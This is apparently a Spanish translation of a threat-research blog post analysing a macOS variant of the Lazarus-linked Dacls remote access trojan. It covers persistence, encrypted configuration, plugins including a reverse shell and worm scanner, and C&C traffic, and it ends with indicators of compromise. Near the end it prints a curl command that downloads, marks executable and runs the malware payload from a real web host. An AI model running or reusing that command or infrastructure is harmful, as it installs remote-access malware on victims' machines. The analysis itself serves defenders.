Esta publicación de blog fue escrita por Hossein Jazi, Thomas Reed y Jérôme Segura.

Recientemente identificamos lo que creemos que es una nueva variante del troyano de acceso remoto Dacls (RAT) asociado con el grupo Lazarus de Corea del Norte, diseñado específicamente para el sistema operativo Mac.

Dacls es una RAT que fue descubierta por Qihoo 360 NetLab en diciembre de 2019 como un troyano de acceso remoto encubierto totalmente funcional dirigido a las plataformas Windows y Linux.

Esta versión de Mac al menos se distribuye a través de una aplicación de autenticación de dos factores troyanada para macOS llamada MinaOTP, utilizada principalmente por hablantes chinos. Similar a la variante de Linux, cuenta con una variedad de características que incluyen ejecución de comandos, administración de archivos, proxy de tráfico y escaneo de gusanos.

Descubrimiento

El 8 de abril, una aplicación sospechosa de Mac llamada «TinkaOTP» fue enviada a VirusTotal desde Hong Kong. No fue detectado por ningún motor en ese momento.

El ejecutable malicioso del bot se encuentra en el directorio «Contents / Resources / Base.lproj /» de la aplicación y pretende ser un archivo nib («SubMenu.nib») mientras es un archivo ejecutable de Mac. Contenía las cadenas «c_2910.cls» y «k_3872.cls», que son los nombres de los archivos de certificado y clave privada que se habían observado anteriormente.

Persistencia

Esta RAT persiste a través de LaunchDaemons o LaunchAgents que toman un archivo de lista de propiedades (plist) que especifica la aplicación que debe ejecutarse después del reinicio. La diferencia entre LaunchAgents y LaunchDaemons es que LaunchAgents ejecuta el código en nombre del usuario conectado, mientras que LaunchDaemon ejecuta el código como usuario root.

Cuando se inicia la aplicación maliciosa, crea un archivo plist con el nombre «com.aex-loop.agent.plist» en el directorio «Library / LaunchDaemons». El contenido del archivo plist está codificado dentro de la aplicación.

 El programa también verifica si «getpwuid (getuid ())» devuelve la identificación de usuario del proceso actual. Si se devuelve una identificación de usuario, crea el archivo plist «com.aex-loop.agent.plist» en el directorio LaunchAgents: «Library / LaunchAgents /».

Figura 1: archivo Plist

El nombre del archivo y el directorio para almacenar el plist están en formato hexadecimal y se agregan juntos. Muestran el nombre de archivo y el directorio al revés.

Figura 2: Directorio y generación de nombre de archivo

Archivo de configuración

El archivo de configuración contiene la información sobre la máquina de la víctima, como Puid, Pwuid, complementos y servidores C&C. El contenido del archivo de configuración se cifra utilizando el algoritmo de cifrado AES.

Figura 3: Cargar config

 Las variantes de Mac y Linux usan la misma clave AES y IV para cifrar y descifrar el archivo de configuración. El modo AES en ambas variantes es CBC.

Figura 4: Clave AES y IV

La ubicación y el nombre del archivo de configuración se almacenan en formato hexadecimal dentro del código. El nombre del archivo de configuración pretende ser un archivo de base de datos relacionado con Apple Store:

«Biblioteca / Caches / Com.apple.appstore.db»

Figura 5: Nombre del archivo de configuración

La función «IntializeConfiguration» inicializa el archivo de configuración con los siguientes servidores C&C codificados.

Figura 6: Inicializar archivo de configuración

El archivo de configuración se actualiza constantemente al recibir comandos del servidor C&C. El nombre de la aplicación después de la instalación es «mina». Mina proviene de la aplicación MinaOTP , que es una aplicación de autenticación de dos factores para macOS.

Figura 7: El archivo de configuración se está actualizando

Bucle principal

Después de inicializar el archivo de configuración, el bucle principal se ejecuta para realizar los siguientes cuatro comandos principales:

  • Cargue la información del servidor C&C desde el archivo de configuración al servidor (0x601)
  • Descargue el contenido del archivo de configuración del servidor y actualice el archivo de configuración (0x602)
  • Cargue la información recopilada de la máquina de la víctima llamando a la función «getbasicinfo» (0x700)
  • Enviar información de latidos (0x900)

Los códigos de comando son exactamente los mismos que Linux.dacls.

Figura 8: lazo principal

Complementos

Esta Mac RAT tiene los seis complementos vistos en la variante de Linux con un complemento adicional llamado «SOCKS». Este nuevo complemento se usa para proxy del tráfico de red de la víctima al servidor C&C.

La aplicación carga los siete complementos al comienzo del bucle principal. Cada complemento tiene su propia sección de configuración en el archivo de configuración que se cargará en la inicialización del complemento.

Figura 9: Complementos cargados

Complemento CMD

El complemento cmd es similar al complemento «bash» en la rata Linux que recibe y ejecuta comandos al proporcionar un shell inverso al servidor C&C.

Figura 10: Complemento Cmd

Complemento de archivo

El complemento de archivo tiene la capacidad de leer, eliminar, descargar y buscar archivos dentro de un directorio. La única diferencia entre la versión de Mac y Linux es que la versión de Mac no tiene la capacidad de escribir archivos (Caso 0).

Figura 11: Complemento de archivo

Complemento de proceso

El complemento de proceso tiene la capacidad de matar, ejecutar, obtener ID de proceso y recopilar información de proceso.

Figura 12: Complemento de proceso

Si se puede acceder al directorio «/ proc /% d / task» de un proceso, el complemento obtiene la siguiente información del proceso donde% d es el ID del proceso:

  • Argumentos de la línea de comando del proceso ejecutando «/ proc /% / cmdline»
  • Nombre, Uid, Gid, PPid del proceso desde el archivo «/ proc /% d / status».

Complemento de prueba

El código para el complemento de prueba entre Mac y Linux es el mismo. Comprueba la conexión a una IP y un puerto especificados por los servidores de C&C.

RP2P plugin

El complemento RP2P es un servidor proxy utilizado para evitar las comunicaciones directas de la víctima a la infraestructura del actor.

Figura 13: P2P inverso

Complemento LogSend

El complemento Logsend contiene tres módulos que:

  • Verificar la conexión al servidor de registro
  • Escanear red (módulo de escáner de gusanos)
  • Ejecutar comandos del sistema a largo plazo
Figura 14: Complemento Logsend

Este complemento envía los registros recopilados mediante solicitudes de publicación HTTP.

Figura 15: Agente de usuario

Una función interesante en este complemento es el escáner de gusanos. El «start_worm_scan» puede escanear una subred de red en los puertos 8291 u 8292. La subred que se escanea se determina en función de un conjunto de reglas predefinidas. El siguiente diagrama muestra el proceso de selección de la subred para escanear.

Figura 16: Exploración de gusanos

Complemento de calcetines

El complemento Socks es el nuevo séptimo complemento agregado a esta Mac Rat. Es similar al complemento RP2P y actúa como intermediario para dirigir el tráfico entre la infraestructura de bot y C&C. Utiliza Socks4 para sus comunicaciones proxy.

Figura 17: Calcetines4

Comunicaciones de red

La comunicación C&C utilizada por This Mac RAT es similar a la variante de Linux. Para conectarse al servidor, la aplicación primero establece una conexión TLS y luego realiza la señalización y finalmente encripta los datos enviados a través de SSL utilizando el algoritmo RC4.

Figura 18: Tráfico generado por la aplicación (.mina)
Figura 19: conexión TLS

Las variantes de Mac y Linux usan la biblioteca WolfSSL para las comunicaciones SSL. WolfSSL es una implementación de código abierto de TLS en C que admite múltiples plataformas. Esta biblioteca ha sido utilizada por varios actores de amenazas. Por ejemplo, Tropic Trooper usó esta biblioteca en su malware Keyboys .

Figura 20: WolfSSL

Los códigos de comando utilizados para balizar son los mismos que los códigos utilizados en Linux.dacls. Esto es para confirmar la identidad del bot y el servidor.

Figura 21: Beconing

La clave RC4 se genera utilizando una clave codificada.

Figura 22: Inicialización RC4

Variantes y detección

También identificamos otra variante de esta RAT que descarga la carga maliciosa utilizando el siguiente comando curl:

curl -k -o ~ / Library / .mina https://loneeaglerecords.com/wp-content/uploads/2020/01/images.tgz.001> / dev / null 2> & 1 && chmod + x ~ / Library / .mina> / dev / null 2> & 1 && ~ / Library / .mina> / dev

Creemos que esta variante Mac del Dcals RAT está asociada con el grupo Lazarus, también conocido como Hidden Cobra y APT 38, un infame actor de amenaza norcoreano que realiza operaciones de ciberespionaje y cibercrimen desde 2009. 

Se sabe que el grupo es uno de los actores más sofisticados, capaz de crear malware personalizado para apuntar a diferentes plataformas. El descubrimiento de esta RAT de Mac muestra que este grupo APT está desarrollando constantemente su conjunto de herramientas de malware.

Malwarebytes para Mac detecta este troyano de administración remota como OSX-DaclsRAT.

COI

899e66ede95686a06394f707dd09b7c29af68f95d22136f0a023bfd01390ad53
846d8647d27a0d729df40b13a644f3bffdc95f6d0e600f2195c85628d59f1dc6
216a83e54cac48a75b7e071d0262d98739c840fd8cd6d0b48a9c166b69acd57d
d3235a29d254d0b73ff8b5445c962cd3b841f487469d60a02819c0eb347111dd
d3235a29d254d0b73ff8b5445c962cd3b841f487469d60a02819c0eb347111dd
loneeaglerecords [.] com / wp-content / uploads / 2020/01 / images.tgz.001 
67.43.239.146
185.62.58.207
50.87.144.227